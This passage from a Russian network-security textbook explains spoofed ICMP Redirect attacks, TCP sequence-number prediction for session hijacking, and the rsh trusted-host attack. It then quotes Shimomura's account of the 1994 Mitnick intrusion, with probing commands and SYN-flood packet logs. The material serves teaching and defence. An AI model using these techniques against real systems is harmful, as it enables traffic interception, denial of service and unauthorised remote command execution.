с целью создания в сети Internet ложного маршрутизатора
Как уже подчеркивалось в п. 3.2.3.1, маршрутизация в сети Internet
играет важнейшую роль для обеспечения нормального функционирования сети.
Маршрутизация в Internet осуществляется на сетевом уровне (IP-уровень).
Для ее обеспечения в памяти сетевой ОС каждого хоста существуют таблицы
маршрутизации, содержащие данные о возможных маршрутах. Каждый сегмент
сети подключен к глобальной сети Internet как минимум через один
маршрутизатор, а, следовательно, все хосты в этом сегменте и маршрутизатор
должны физически располагаться в одном сегменте. Поэтому все сообщения,
адресованные в другие сегменты сети, направляются на маршрутизатор,
который, в свою очередь, перенаправляет их далее по указанному в пакете
IP-адресу, выбирая при этом оптимальный маршрут. Напомним, что в сети
Internet для выбора оптимального маршрута используются специальные
протоколы маршрутизации: RIP, OSPF и т. д.
Рассмотрим, что представляет из себя таблица маршрутизации хоста. В
каждой строке этой таблицы содержится описание соответствующего маршрута.
Это описание включает: IP-адрес конечной точки маршрута (Destination),
IP-адрес соответствующего маршрутизатора (Gateway), а также ряд других
параметров, характеризующих этот маршрут. Обычно в системе существует так
называемый маршрут по умолчанию (поле Destination содержит значение
0.0.0.0, то есть default, а поле Gateway - IP-адрес маршрутизатора).
Этот маршрут означает, что все пакеты, адресуемые на IP-адрес вне
пределов данной подсети, будут направляться по указанному
default-маршруту, то есть на маршрутизатор (это реализуется установкой в
поле адреса назначения в Ethernet-пакете аппаратного адреса
маршрутизатора).
Как говорилось ранее, в сети Internet существует управляющий протокол
ICMP, одной из функций которого является удаленное управление
маршрутизацией на хостах внутри сегмента сети.
Удаленное управление маршрутизацией необходимо для предотвращения
возможной передачи сообщений по неоптимальному маршруту. В сети Internet
удаленное управление маршрутизацией реализовано в виде передачи с
маршрутизатора на хост управляющего ICMP-сообщения: Redirect Message.
Исследование протокола ICMP показало, что сообщение Redirect бывает
двух типов. Первый тип сообщения носит название Redirect Net и уведомляет
хост о необходимости смены адреса маршрутизатора, то есть
default-маршрута. Второй тип - Redirect Host - информирует хост о
необходимости создания нового маршрута к указанной в сообщении системе и
внесения ее в таблицу маршрутизации.
Для этого в сообщении указывается IP-адрес хоста, для которого
необходима смена маршрута (адрес будет занесен в поле Destination), и
новый IP-адрес маршрутизатора, на который необходимо направлять пакеты,
адресованные данному хосту (этот адрес заносится в поле Gateway).
Необходимо обратить внимание на важное ограничение, накладываемое на
IP-адрес нового маршрутизатора:
он должен быть в пределах адресов данной подсети!
Анализ исходных текстов ОС Linux 1.2.8 показал, что ICMP-сообщение
Redirect Net игнорируется данной ОС (это представляется логичным, так как
динамическая смена маршрутизатора в процессе работы системы вряд ли
необходима. Видимо, можно сделать вывод, что это сообщение игнорируют и
другие сетевые ОС). Что касается управляющего сообщения ICMP Redirect
Host, то единственным идентифицирующим его параметром является IP-адрес
отправителя, который должен совпадать с IP-адресом маршрутизатора, так как
это сообщение может передаваться только маршрутизатором. Особенность
протокола ICMP состоит в том, что он не предусматривает никакой
дополнительной аутентификации источников сообщений. Таким образом,
ICMP-сообщения передаются на хост маршрутизатором однонаправлено, без
создания виртуального соединения. Следовательно, ничто не мешает
атакующему послать ложное ICMP-сообщение о смене маршрута от имени
маршрутизатора.
Приведенные выше факты позволяют осуществить типовую удаленную атаку
Внедрение в распределенную ВС ложного объекта путем навязывания ложного
маршрута , рассмотренную в п. 3.2.3.1.
Для осуществления этой удаленной атаки необходимо подготовить ложное
ICMP Redirect Host сообщение, в котором указать конечный IP-адрес маршрута
(адрес хоста, маршрут к которому будет изменен) и IP-адрес ложного
маршрутизатора. Далее это сообщение передается на атакуемый хост от имени
маршрутизатора. Для этого в IP-заголовке в поле адреса отправителя
указывается IP-адрес маршрутизатора. В принципе, можно предложить два
варианта данной удаленной атаки.
В первом случае атакующий находится в том же сегменте сети, что и цель
атаки. Тогда, послав ложное ICMP-сообщение, он в качестве IP-адреса нового
маршрутизатора может указать либо свой IP-адрес, либо любой из адресов
данной подсети. Это даст атакующему возможность изменить маршрут передачи
сообщений, направляемых атакованным хостом на определенный IP-адрес, и
получить контроль над трафиком между атакуемым хостом и интересующим
атакующего сервером. После этого атака перейдет во вторую стадию,
связанную с приемом, анализом и передачей пакетов, получаемых от
обманутого хоста.
Рассмотрим функциональную схему осуществления этой удаленной атаки (рис
4.7):
Рис. 4.7. Внутрисегментное навязывание хосту ложного маршрута при
использовании протокола ICMP.
Рис. 4.7.1. Фаза передачи ложного ICMP Redirect сообщения от имени
маршрутизатора.
Рис. 4.7.2. Фаза приема, анализа, воздействия и передачи перехваченной
информации на ложном сервере.
передача на атакуемый хост ложного ICMP Redirect Host сообщения;
отправление ARP-ответа в случае, если пришел ARP-запpос от атакуемого
хоста;
перенаправление пакетов от атакуемого хоста на настоящий маршрутизатор;
перенаправление пакетов от маршрутизатора на атакуемый хост;
при приеме пакета возможно воздействие на информацию по схеме Ложный
объект РВС (п. 3.2.3.3).
В случае осуществления второго варианта удаленной атаки атакующий
находится в другом сегменте относительно цели атаки. Тогда, в случае
передачи на атакуемый хост ложного ICMP Redirect сообщения, сам атакующий
уже не сможет получить контроль над трафиком, так как адрес нового
маршрутизатора должен находиться в пределах подсети атакуемого хоста (см.
описанную выше в этом пункте реакцию сетевой ОС на ICMP Redirect
сообщение), поэтому использование данного варианта этой удаленной атаки не
позволит атакующему получить доступ к передаваемой по каналу связи
информации. Однако, в этом случае атака достигает другой цели: нарушается
работоспособность хоста. Атакующий с любого хоста в Internet может послать
подобное сообщение на атакуемый хост и в случае, если сетевая ОС на данном
хосте не проигнорирует данное сообщение, то связь между данным хостом и
указанным в ложном ICMP-сообщении сервером будет нарушена. Это произойдет
из-за того, что все пакеты, направляемые хостом на этот сервер, будут
отправлены на IP-адрес несуществующего маршрутизатора. Схема этой атаки
приведена на рис. 4.8.
Рис. 4.8. Межсегментное навязывание хосту ложного маршрута при
использовании протокола ICMP, приводящее к отказу в обслуживании.
Рис. 4.8.1. Передача атакующим на хост 1 ложного ICMP Redirect
сообщения от имени маршрутизатора 1.
Рис. 4.8.2. Дезинформация хоста 1.
Его таблица маршрутизации содержит информацию о ложном маршруте к хосту
top.secret.com
Эксперимент показал, что оба варианта рассмотренной удаленной атаки
удается осуществить (как межсегментно, так и внутрисегментно) на ОС Linux
1.2.8, ОС Windows '95 и ОС Windows NT 4.0. Остальные сетевые ОС,
исследованные нами (Linux 2.0.0 и защищенный по классу B1 UNIX),
игнорировали данное ICMP Redirect сообщение (что, не правда ли, кажется
вполне логичным с точки зрения обеспечения безопасности!).
4.5. Подмена одного из субъектов TCP-соединения в сети Internet
(hijacking)
Протокол TCP (Transmission Control Protocol) является одним из базовых
протоколов транспортного уровня сети Internet. Этот протокол позволяет
исправлять ошибки, которые могут возникнуть в процессе передачи пакетов, и
является протоколом с установлением логического соединения - виртуального
канала. По этому каналу передаются и принимаются пакеты с регистрацией их
последовательности, осуществляется управление потоком пакетов,
организовывается повторная передача искаженных пакетов, а в конце сеанса
канал разрывается. При этом протокол TCP является единственным базовым
протоколом из семейства TCP/IP, имеющим дополнительную систему
идентификации сообщений и соединения. Именно поэтому протоколы прикладного
уровня FTP и TELNET, предоставляющие пользователям удаленный доступ на
хосты Internet, реализованы на базе протокола TCP.
Для идентификации TCР-пакета в TCP-заголовке существуют два
32-разрядных идентификатора, которые также играют роль счетчика пакетов.
Их названия - Sequence Number и Acknowledgment Number. Также нас будет
интересовать поле, называемое Control Bits.
Это поле размером 6 бит может содержать следующие командные биты (слева
направо):
URG: Urgent Pointer field significant
ACK: Acknowledgment field significant
PSH: Push Function
RST: Reset the connection
SYN: Synchronize sequence numbers
FIN: No more data from sender
Далее рассмотрим схему создания TCP-соединения (рис 4.9).
Предположим, что хосту А необходимо создать TCP-соединение с хостом В.
Тогда А посылает на В следующее сообщение:
Рис. 4.9. Схема создания TCP-соединения.
1. A - B:SYN, ISSa Это означает, что в передаваемом A сообщении
установлен бит SYN (synchronize sequence number), а в поле Sequence Number
установлено начальное 32-битное значение ISSa (Initial Sequence Number).
В отвечает:
2. B - A:SYN, ACK, ISSb, ACK(ISSa+1)
В ответ на полученный от А запрос В отвечает сообщением, в котором
установлен бит SYN и установлен бит ACK; в поле Sequence Number хостом В
устанавливается свое начальное значение счетчика - ISSb; поле
Acknowledgment Number содержит значение ISSa, полученное в первом пакете
от хоста А и увеличенное на единицу.
А, завершая рукопожатие (handshake), посылает:
3. A - B:ACK, ISSa+1, ACK(ISSb+1)
В этом пакете установлен бит ACK; поле Sequence Number содержит ISSa +
1; поле Acknowledgment Num-ber содержит значение ISSb + 1. Посылкой этого
пакета на хост В заканчивается трехступенчатый handshake, и TCP-соединение
между хостами А и В считается установленным.
Теперь хост А может посылать пакеты с данными на хост В по только что
созданному виртуальному TCP-каналу:
4. A - B:ACK, ISSa+1, ACK(ISSb+1); DATA Из рассмотренной выше схемы
создания TCP-соеди-нения видно, что единственными идентификаторами
TCP-абонентов и TCP-соединения являются два 32-бит-ных параметра Sequence
Number и Acknowledgment Number. Следовательно, для формирования ложного
TCP-пакета атакующему необходимо знать текущие идентификаторы для данного
соединения - ISSa и ISSb. Проблема возможной подмены TCP-сообщения
становится еще более важной, так как анализ протоколов FTP и TELNET,
реализованных на базе протокола TCP, показал, что проблема идентификации
FTP- и TELNET-пакетов целиком возлагается данными протоколами на
транспортный уровень, то есть на TCP. Это означает, что атакующему
достаточно, подобрав соответствующие текущие значения идентификаторов
TCP-пакета для данного TCP-соединения (например, данное соединение может
представлять собой FTP- или TELNET-подклю-чение), послать пакет с любого
хоста в сети Internet от имени одного из участников данного соединения
(например, от имени клиента), и данный пакет будет воспринят как верный! К
тому же, так как FTP и TELNET не проверяют IP-адреса отправителей, от
которых им приходят сообщения, то в ответ на полученный ложный пакет, FTP-
или TELNET-сервер отправит ответ на указанный в ложном пакете настоящий
IP-адрес атакующего, то есть атакующий начнет работу с FTPили
TELNET-сервером со своего IP-адреса, но с правами легально подключившегося
пользователя, который, в свою очередь, потеряет связь с сервером из-за
рассогласования счетчиков!
Итак, для осуществления описанной выше атаки необходимым и достаточным
условием является знание двух текущих 32-битных параметров ISSa и ISSb,
идентифицирующих TCP-соединение. Рассмотрим возможные способы их получения.
В том случае, когда атакующий находится в одном сегменте с целью атаки
или через его сегмент проходит трафик предполагаемого объекта атаки, то
задача получения значений ISSa и ISSb является тривиальной и решается
путем анализа сетевого трафика. Следовательно, надо четко понимать, что
протокол TCP позволяет, в принципе, защитить соединение только в случае
невозможности перехвата атакующим сообщений, передаваемых по данному
соединению, то есть в случае нахождения атакующего в других сегментах
относительно абонентов TCP-соединения.
Поэтому наибольший интерес для нас представляют межсегментные атаки,
когда атакующий и его цель находятся в разных сегментах сети. В этом
случае задача получения значений ISSa и ISSb не является тривиальной.
Далее предлагается следующее решение данной проблемы.
4.5.1. Математическое предсказание начального значения идентификатора
TCP-соединения экстраполяцией его предыдущих значений Первый вопрос,
который возникает в данном случае: как сетевая операционная система
формирует начальное значение ISSa (так называемый ISN - Initial Sequence
Number)? Очевидно, что наилучшим решением с точки зрения безопасности
будет генерация этого значения ISN по случайному закону с использованием
программного (а лучше аппаратного) генератора псевдослучайных чисел с
достаточно большим периодом. В этом случае каждое новое значение ISN не
будет зависеть от его предыдущего значения, а, следовательно, у атакующего
не будет даже теоретической возможности нахождения функционального закона
получения ISN.
Однако оказывается, что подобные очевидные правила случайной генерации
ISN как для составителей самого описания протокола TCP (RFC 793), так и
для разработчиков сетевого ядра различных операционных систем являются
далеко не очевидными. Об этом говорят следующие факты. В описании
протокола TCP в RFC 793 рекомендуется увеличивать значение этого
32-битного счетчика на 1 каждые 4 микросекунды (?!).
А как дело обстоит на практике? Поверьте, плохо!
Например, в ранних Berkeley-совместимых ядрах ОС UNIX значение этого
счетчика увеличивалось на 128 каждую секунду и на 64 для каждого нового
соединения. Анализ исходных текстов ядра ОС Linux 1.2.8 показал, что
значение ISN вычисляется данной ОС в зависимости от текущего времени по
следующему, отнюдь не случайному закону:
ISN = mcsec + 1000000 sec, где mcsec - время в микросекундах; sec -
текущее время в секундах, причем отсчет его идет от 1970 года.
Вы думаете, что в других сетевых ОС лучше?
Ошибаетесь! В ОС Windows NT 4.0 значение ISN увеличивается на 10
примерно каждую миллисекунду, то есть для Windows NT справедлива следующая
формула:
ISN 10 msec, где msec - текущее время в миллисекундах.
Однако больше всего нас удивил защищенный по классу B1 UNIX,
установленный на многопроцессорной мини-ЭВМ - полнофункциональном
файрволе. Эта наиболее защищенная из всех, что встречалась авторам,
сетевая ОС имеет также простой времязависимый алгоритм генерации
начального значения идентификатора TCP-соединения. Как говорится,
комментарии здесь излишни. Мало того, что в единственном базовом
защищенном (?!) протоколе Internet - протоколе TCP - применяется
простейший способ идентификации соединения, который в принципе не
позволяет гарантировать надежную защиту от подмены одного из абонентов при
нахождении атакующего в том же сегменте, так еще и сами разработчики
сетевых ОС разрушают и без того хрупкую безопасность этого протокола,
используя простые времязависимые алгоритмы генерации ISN!
Итак, в том случае, если в сетевой операционной системе используется
времязависимый алгоритм генерации начального значения идентификатора
TCP-соединения, то атакующий получает принципиальную возможность
определить с той или иной степенью точности вид функции, описывающей закон
получения ISN. Исходя из практических исследований сетевых ОС, а также из
общих теоретических соображений, можно предложить следующий обобщенный вид
функции, описывающий времязависимый закон получения ISN:
ISN = F (mсsec, msec, sec),
где mcsec - время в микросекундах (обычно, в зависимости от аппаратного
обеспечения компьютера, минимальной единицей измерения машинного времени
является микросекунда, в обычных IBM это так). Этот параметр циклически
изменяется за секунду от 0 до 106- 1; msec - время в миллисекундах.
Циклически изменяется за секунду от 0 до 999; sec - текущее время в
секундах. Постоянно увеличивается каждую секунду.
Рассматривая функцию (3) на малом промежутке времени (меньшем 1
секунды), для удобства аппроксимации можно считать, что
ISN = F (mсsec).
Итак, мы будем считать, что значение ISN зависит только от микросекунд.
Данная функция (4) в силу особенностей изменения своих аргументов обычно в
сетевых ОС является или кусочнолинейной или ступенчатой. Например,
зависимость (1), описывающая закон получения ISN в ОС Linux, в случае
приведения ее к виду (4) является кусочнолинейной, а функциональная
зависимость (2), справедливая для Windows NT, - ступенчатой.
На данном этапе мы вплотную подошли к проблеме определения вида
функциональной зависимости ISN от параметра mcsec для конкретной сетевой
ОС.
Первый способ получения этой зависимости - анализ исходных текстов ядра
операционной системы. Использование данного способа на практике обычно
оказывается невозможным из-за отсутствия исходных текстов большинства ОС.
Исключение составляют ОС Linux и FreeBSD, поставляемые с исходными
текстами ядра.
В связи с этим предлагается другой метод получения закона изменения ISN
от параметра mсsec. В этом случае сетевая ОС рассматривается
исследователем как черный ящик , к которому применяется метод тестирования
запрос - ответ : на исследуемую сетевую ОС передается серия обычных
запросов на создание TCP-соединения и принимается соответствующее
количество ответов с текущими значениями ISN операционной системы в каждый
момент времени.
При этом замеряются временные интервалы (в микросекундах) между
запросом и ответом на него и время, прошедшее между запросами. В
результате исследователем будет получена следующая таблица дискретных
отсчетов ISN и соответствующих им моментов времени в mcsec:
ISN0
ISN1
...
ISNn
t0 t1 ...
tn
где ISNn - значение ISN, полученное за время tn от начала эксперимента
(время начала эксперимента принимается за 0).
Аппроксимируя данную таблицу дискретных значений непрерывной функцией
одним из известных математических методов (наименьших квадратов,
например), получим непрерывную функцию, приближенно описывающую изменение
ISN на данном временном промежутке (от 0 до tn), при этом чем выше
точность исходных данных, тем точнее приближение:
ISN(t) = F(t);
Эта формула в общем случае позволяет нам по предыдущему значению ISN,
зная функцию изменения ISN от времени, экстраполировать следующее значение
ISN. Теперь атакующий может, получив в ответ на TCP-запрос текущее
значение ISN для ОС в данный момент времени, математически предсказать
следующее возможное значение ISN через некоторый промежуток времени.
Хотелось бы обратить внимание на следующий важный момент: чем ближе в
сети находятся исследователь и тестируемая ОС, тем выше точность получения
аппроксимирующей функции, так как в противном случае, время за которое
запрос дойдет до системы и будет выработан ISN, может существенно
отличаться из-за задержек в канале связи от времени передачи ответа
обратно.
При этом погрешность исходных данных будет увеличиваться, а точность
экстраполяции - падать.
Заметим, что атакующему вовсе не обязательно проводить подобные
исследования с интересующим его удаленным хостом. Достаточно только узнать
тип операционной системы на предполагаемой цели атаки и получить в свое
распоряжение подобную систему для определения формулы изменения ISN в
данной ОС.
Что касается практических результатов, то применение описанной выше
методики получения формулы ISN(t) на примере ОС Linux 1.2.8 и Windows NT
4.0 в случае нахождения в одном сегменте с данными ОС позволило определить
это 32-битное значение (от 0 до 232- 1) по его предыдущему значению для ОС
Windows NT с точностью до 10, а для ОС Linux 1.2.8 - с точностью примерно
до 100. В следующей таблице приведены снятые в процессе эксперимента с ОС
Linux 1.2.8 значения изменения ISN (а не абсолютные значения) за
соответствующие промежутки времени:
Таблица изменения значения ISN для ОС Linux 1.2.8
t, мкс 2759
5685
8560
11462
14303
D ISN
65135
134234
202324
270948
338028
Следующий график, построенный по значениям из данной таблицы и
справедливый для ОС Linux 1.2.8, наглядно показывает линейный характер
изменения значения начального идентификатора TCP-соединения ISN на данном
временном промежутке (на самом деле зависимость изменения ISN для ОС Linux
1.2.8 носит кусочнолинейный характер):
Зависимость изменения ISN от времени для Linux 1.2.8
В общем случае, определив вид функций для вычисления ISN в операционных
системах на сервере и предполагаемом клиенте, атакующий начинает следить
за ОС сервера, ожидая подключения предполагаемого клиента. В тот момент
времени, когда подключение произошло, атакующий может подсчитать возможный
диапазон значений ISN, которыми обменялись при создании TCP-канала данные
хосты. Так как атакующий может вычислить значения ISN только приближенно,
то ему не избежать подбора. Однако, если не проводить описанный выше
анализ, то для перебора всех возможных значений ISSa и ISSb понадобилось
бы послать 264 пакетов, что нереально. В случае использования описанного
выше анализа в зависимости от полученной степени точности и удаления
атакующего от хостов потребуется послать значительно меньшее число пакетов.
Например, если удалось вычислить значения ISN на операционных системах
с точностью до 100, то атакующему для подмены одного из абонентов
TCP-соединения достаточно послать всего 10000 пакетов.
Далее мы рассмотрим ставшую уже классической удаленную атаку на
r-службу, осуществление которой связано с описанными выше особенностями
идентификации TCP-пакетов.
4.5.2. Использование недостатков идентификации абонентов TCP-соединения
для атаки на rsh-сервер В ОС UNIX существует понятие: доверенный хост.
Доверенным по отношению к данному хосту называется сетевой компьютер,
доступ на который пользователю с данного хоста возможен без его
аутентификации и идентификации с помощью r-службы (r - сокращение от анг.
remote - удаленный). Обычно в ОС UNIX существует файл rhosts, в котором
находится список имен и IP-адресов доверенных хостов. Для получения к ним
удаленного доступа пользователю необходимо воспользоваться программами,
входящими в r-службу (например, rlogin, rsh и т.д.). В этом случае при
использовании r-программ с доверенного хоста пользователю для получения
удаленного доступа не требуется проходить стандартную процедуру
идентификации и аутентификации, заключающуюся в проверке его логического
имени и пароля. Единственной аутентифицирующей пользователя информацией
для r-службы является IP-адрес хоста, с которого пользователь осуществляет
удаленный r-доступ (п.
8.2). Отметим, что все программы из r-службы реали-зованы на базе
протокола TCP. Одной из программ, входящих в r-службу, является rsh, с
помощью которой возможно осуществление данной атаки. Программа rsh
(remoute shell) позволяет отдавать команды shell удаленному хосту. При
этом (что чрезвычайно важно в данном случае!) для того, чтобы отдать
команду, достаточно послать запрос, но необязательно получать на него
ответ. При атаке на r-службу вся сложность для атакующего заключается в
том, что ему необходимо послать пакет от имени доверенного хоста, то есть
в качестве адреса отправителя необходимо указать IP-адрес доверенного
хоста. Следовательно, ответный пакет будет отправлен именно на доверенный
хост, а не на хост атакующего.
Схема удаленной атаки на rsh-сервер была впервые описана небезызвестным
Р.Т. Моррисом-старшим в [27]. Она заключается в следующем (схема атаки
изображена на рис 4.10).
Рис. 4.10. Подмена одного из участников TCP-соединения при атаке на
rsh-сервер.
Рис. 4.10.1. X-Hacker посылает на Хост A серию TCP-запросов на создание
соединения, заполняя тем самым очередь запросов, с целью вывести из строя
на некоторое время Хост A.
Рис. 4.10.2. X-Hacker от имени Хоста A посылает запрос на создание
TCP-соединения на Хост B.
Рис. 4.10.3. Хост B отвечает хосту A на предыдущий запрос.
Рис. 4.10.4. Хост X-Hacker никогда не получит значения ISNb' от хоста
B, но, используя математическое предсказание ISN, посылает на B от имени A
пакет с ISNb'. При этом Хост A не может послать пакет с битом RST.
Пусть хост А доверяет хосту В. Хост X-Hacker - это станция атакующего.
Вначале атакующий X-Hacker открывает настоящее TCP-соединение с хостом
В на любой TCP-порт (mail, echo и т.д.). В результате X-Hacker получит
текущее значение на данный момент времени ISNb. Далее, X-Hacker от имени А
посылает на В TCP-запрос на открытие соединения:
1. X-Hacker (A ) - B: SYN, ISSx.
Получив этот запрос, В анализирует IP-адрес отправителя и решает, что
пакет пришел с хоста А.
Следовательно, В в ответ посылает на А новое значение ISNb':
2. B - A: SYN, ACK, ISNb', ACK(ISSx+1).
X-Hacker никогда не получит это сообщение от В, но, используя
предыдущее значение ISNb и схему для получения ISNb' при помощи
математического предсказания из п. 4.5.1, может послать пакет на В:
3. X-Hacker (A ) - B: ACK, ISSx+1, ACK(ISNb'+1).
Отметим, что для того, чтобы послать этот пакет, вероятно, потребуется
перебрать некоторое количество возможных значений ACK(ISSb' + 1), но не
потребуется подбор ISSx + 1, так как этот параметр TCP-соединения был
послан с хоста X-Hacker на В в первом пакете.
В случае осуществления данной атаки перед атакующим возникает следующая
проблема. Так как X-Hacker посылает пакет (1) на В от имени A, то хост B
ответит на A пакетом (2). А так как хост A не посылал на хост B никакого
пакета с запросом, то A, получив ответ от B, перешлет на B пакет с битом
RST - закрыть соединение. Атакующего с хоста X-Hacker это, естественно, не
устраивает, поэтому одной из атак, целью которых является нарушение
работоспособности системы, X-Hacker должен вывести из строя на некоторое
время хост A (п. 4.6).
В итоге rsh-сервер на хосте В считает, что к нему подключился
пользователь с доверенного хоста А, а на самом деле это атакующий с хоста
X-Hacker.
И хотя X-Hacker никогда не сможет получить пакеты с хоста В, но он
сможет выполнять на нем команды (r-команды).
В заключение авторам хотелось бы привести пример реального инцидента,
происшедшего в Суперкомпьютерном центре в Сан-Диего 12 декабря 1994 года,
когда атакующий (небезызвестный Кевин Митник) использовал описанную выше
схему удаленной атаки. Данный инцидент представляет, как нам кажется,
исторический интерес и показывает, что опасности, описанные в этой книге,
являются отнюдь не мнимыми угрозами из Internet, а той реальностью, над
которой большинство пользователей просто не задумывается и которая в любой
момент может пожаловать к ним в гости.
Все описанные ниже сведения взяты из письма эксперта по информационной
безопасности Цутому Шимомуры (Tsutomu Shimomura) в различные
эхо-конференции.
Далее приводится перевод его оригинального письма с некоторыми
сокращениями и нашими комментариями:
"From: [email protected] (Tsutomu Shimomura)
Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt.security
Subject: Technical details of the attack described by Markoff in NYT Date:
25 Jan 1995 04:36:37 -0800 Organization: San Diego Supercomputer Center
Message-ID:
NNTP-Posting-Host: ariel.sdsc.edu Keywords: IP spoofing, security,
session hijacking Greetings from Lake Tahoe.
В статье Джона Маркоффа от 23.01.95 в NYT и в рекомендациях CERT
CA-95:01, кажется, было достаточно много путаницы насчет того, что такое
на самом деле атака с использованием подмены IP-адреса с целью подмены
одного из абонентов соединения.
Имеется в виду статья в New York Times под названием "Data Network Is
Found Open To New Threat". Следующая статья была опубликована 28 января
1995 года под названием "Taking a Computer Crime to Heart". Заключительная
статья "A Most-Wanted Cyberthief Is "KEVIN MITNICK'S DIGITAL OBSESSION" и
"CRACKS IN THE NET: America's most wanted hacker has been arrested, but
the Internet is more vulnerable than ever" (Да неужели?! Куда уж более?!).
Шумиха, поднятая американской прессой по этому незначительному поводу,
была столь велика, что нам остается только удивляться, насколько еще верна
крылатая фраза Шекспира: "Много шума из ничего". Хотя, с другой стороны,
это можно объяснить тем, что, во-п
Здесь приведены некоторые технические подробности из моей презентации
11.01.95 в CMAD 3 в Сономе, Калифорния. Надеюсь, это поможет снять
всяческое непонимание природы этих атак.
Для атаки использовалось два различных механизма. Подмена IP-адреса
отправителя и математическое предсказание начального значения
идентификатора TCP-соединения позволили получить доступ к бездисковой
рабочей станции, которая использовалась как X-терминал.
В письмо включен log-файл, полученный с помощью программы tcpdump, с
записью всех пакетов, посланных атакующим. Для краткости этот файл
приводится с сокращением некоторых несущественных подробностей.
Моя конфигурация:
server = SPARC с ОС Solaris 1, обслуживающий х-terminal х-terminal =
бездисковая рабочая станция SPARC с ОС Solaris 1 target = основная цель
атаки.
Атака началась в 14:09:32 25.12.94. Первые попытки зондирования
начались с хоста toad.com (информация взята из log-файла).
14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server
14:10:50 toad.com# finger -l root@server
14:11:07 toad.com# finger -l @x-terminal
14:11:38 toad.com# showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
14:12:05 toad.com# finger -l root@x-terminal
Зондирование системы позволило определить, есть ли у нее другие
доверенные системы для дальнейшей атаки. То, что атакующий смог запустить
программы showmount и rpcinfo, означало, что он является пользователем
root на хосте toad.com.
Через шесть минут мы видим шторм TCP-запросов на создание соединения с
адреса 130.92.6.97 на 513 порт (login) хоста server. При этом основная
цель атакующего состоит в том, чтобы этими однонаправленными TCP-запросами
переполнить очередь на 513 порту сервера так, чтобы он не смог отвечать на
новые запросы на создание соединения. Особенно важно, чтобы сервер не смог
сгенерировать TCP-пакет с битом RST в ответ на неожиданно пришедший
TCP-пакет с битами SYN и ACK.
Так как порт 513 является привилегированным портом, то теперь IP-адрес
хоста server.login может быть свободно использован атакующим для атаки с
использованием подмены адреса на r-службы UNIX-систем (rsh, rlogin).
IP-адрес 130.92.6.97 атакующий выбрал случайным образом из неиспользуемых
адресов (ему не нужно получать пакеты, передаваемые на этот адрес).
Шимомура здесь и далее после имени или IP-адреса хоста через точку
указывает порт назначения. Поэтому запись server.login означает хост
server и порт login (513). Соответственно, например, первая из распечатки
log-файла запись 130.92.6.97.600 означает,
14:18:22.516699 130.92.6.97.600
server.login: S 1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601
server.login: S 1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602
server.login: S 1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603
server.login: S 1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604
server.login: S 1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605
server.login: S 1382726965:1382726965(0) win 4096
14:18:23.002715 130.92.6.97.606
server.login: S 1382726966:1382726966(0) win 4096
14:18:23.103275 130.92.6.97.607
server.login: S 1382726967:1382726967(0) win 4096
14:18:23.162781 130.92.6.97.608
server.login: S 1382726968:1382726968(0) win 4096
14:18:23.225384 130.92.6.97.609
server.login: S 1382726969:1382726969(0) win 4096
14:18:23.282625 130.92.6.97.610
server.login: S 1382726970:1382726970(0) win 4096
14:18:23.342657 130.92.6.97.611
server.login: S 1382726971:1382726971(0) win 4096
14:18:23.403083 130.92.6.97.612
server.login: S 1382726972:1382726972(0) win 4096
14:18:23.903700 130.92.6.97.613
server.login: S 1382726973:1382726973(0) win 4096
14:18:24.003252 130.92.6.97.614
server.login: S 1382726974:1382726974(0) win 4096 14:18:24.084827
130.92.6.97.615
server.login: S 1382726975:1382726975(0) win 4096 14:18:24.142774
130.92.6.97.616
server.login: S 1382726976:1382726976(0) win 4096 14:18:24.203195
130.92.6.97.617
server.login: S 1382726977:1382726977(0) win 4096 14:18:24.294773
130.92.6.97.618
server.login: S 1382726978:1382726978(0) win 4096 14:18:24.382841
130.92.6.97.619
server.login: S 1382726979:1382726979(0) win 4096 14:18:24.443309
130.92.6.97.620
server.login: S 1382726980:1382726980(0) win 4096 14:18:24.643249
130.92.6.97.621
server.login: S 1382726981:1382726981(0) win 4096 14:18:24.906546
130.92.6.97.622
server.login: S 1382726982:1382726982(0) win 4096 14:18:24.963768
130.92.6.97.623
server.login: S 1382726983:1382726983(0) win 4096 14:18:25.022853
130.92.6.97.624
server.login: S 1382726984:1382726984(0) win 4096 14:18:25.153536
130.92.6.97.625
server.login: S 1382726985:1382726985(0) win 4096 14:18:25.400869
130.92.6.97.626
server.login: S 1382726986:1382726986(0) win 4096 14:18:25.483127
130.92.6.97.627
server.login: S 1382726987:1382726987(0) win 4096 14:18:25.599582
130.92.6.97.628
server.login: S 1382726988:1382726988(0) win 4096 14:18:25.653131
130.92.6.97.629
server.login: S 1382726989:1382726989(0) win 4096
Хост server генерирует на первые 8 запросов соответственно 8 ответов,
после чего очередь переполняется. Хост server периодически будет посылать
эти ответы, но так и не дождется на них никакой реакции.
Кстати, наши эксперименты, описанные в п. 4.6, это подтвердили.
Далее мы видим 20 попыток создания соединения с хоста apollo.it.luc.edu
на x-terminal.shell. Основная цель этих запросов - определить закон
изменения начального значения идентификатора TCP-соединения на хосте
x-terminal. Так как значение ISN увеличивается на единицу с каждым вновь
посылаемым запросом, то, следовательно, эти запросы генерирует не ядро
сетевой ОС. При этом очередь запросов на хосте x-terminal не
переполняется, так как атакующий после каждого запроса передает пакет с
битом RST, что означает закрыть соединение .
14:18:25.906002 apollo.it.luc.edu.1000 x-terminal.shell: S
1382726990:1382726990(0) win 4096 14:18:26.094731 x-terminal.shell
apollo.it.luc.edu.1000: S 2021824000:2021824000(0)
ack 1382726991 win 4096 14:18:26.172394 apollo.it.luc.edu.1000
x-terminal.shell: R 1382726991:1382726991(0) win 0 14:18:26.507560
apollo.it.luc.edu.999 x-terminal.shell: S 1382726991:1382726991(0) win
4096 14:18:26.694691 x-terminal.shell apollo.it.luc.edu.999: S
2021952000:2021952000(0)
ack 1382726992 win 4096 14:18:26.775037 apollo.it.luc.edu.999
x-terminal.shell: R 1382726992:1382726992(0) win 0 14:18:26.775395
apollo.it.luc.edu.999 x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:27.014050 apollo.it.luc.edu.998 x-terminal.shell: S
1382726992:1382726992(0) win 4096 14:18:27.174846 x-terminal.shell
